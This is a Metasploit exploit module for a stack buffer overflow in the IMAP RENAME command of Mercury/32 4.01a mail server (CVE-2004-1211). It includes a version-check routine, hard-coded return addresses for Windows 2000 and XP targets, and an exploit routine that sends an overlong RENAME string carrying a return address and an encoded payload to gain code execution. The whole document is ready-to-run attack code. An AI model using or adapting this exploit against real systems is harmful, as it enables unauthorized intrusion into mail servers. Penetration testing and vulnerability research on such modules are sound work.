Mercury/32 Mail Server 4.01a - IMAP RENAME Buffer Overflow (Metasploit)

##
# $Id: mercury_rename.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow vulnerability in the
				Mercury/32 v.4.01a IMAP service.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2004-1211'],
					[ 'OSVDB', '12508'],
					[ 'BID', '11775'],
					[ 'NSS', '15867'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP4 English',   { 'Ret' => 0x7846107b }],
					['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
					['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
				],
			'DisclosureDate' => 'Nov 29 2004'))
	end

	def check
		connect
		resp = sock.get_once
		disconnect

		if (resp =~ /Mercury\/32 v4\.01a/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login

		sploit =  "a001 RENAME " + rand_text_alpha_upper(260)
		sploit << [target.ret].pack('V') + payload.encoded

		sock.put(sploit)

		handler
		disconnect
	end

end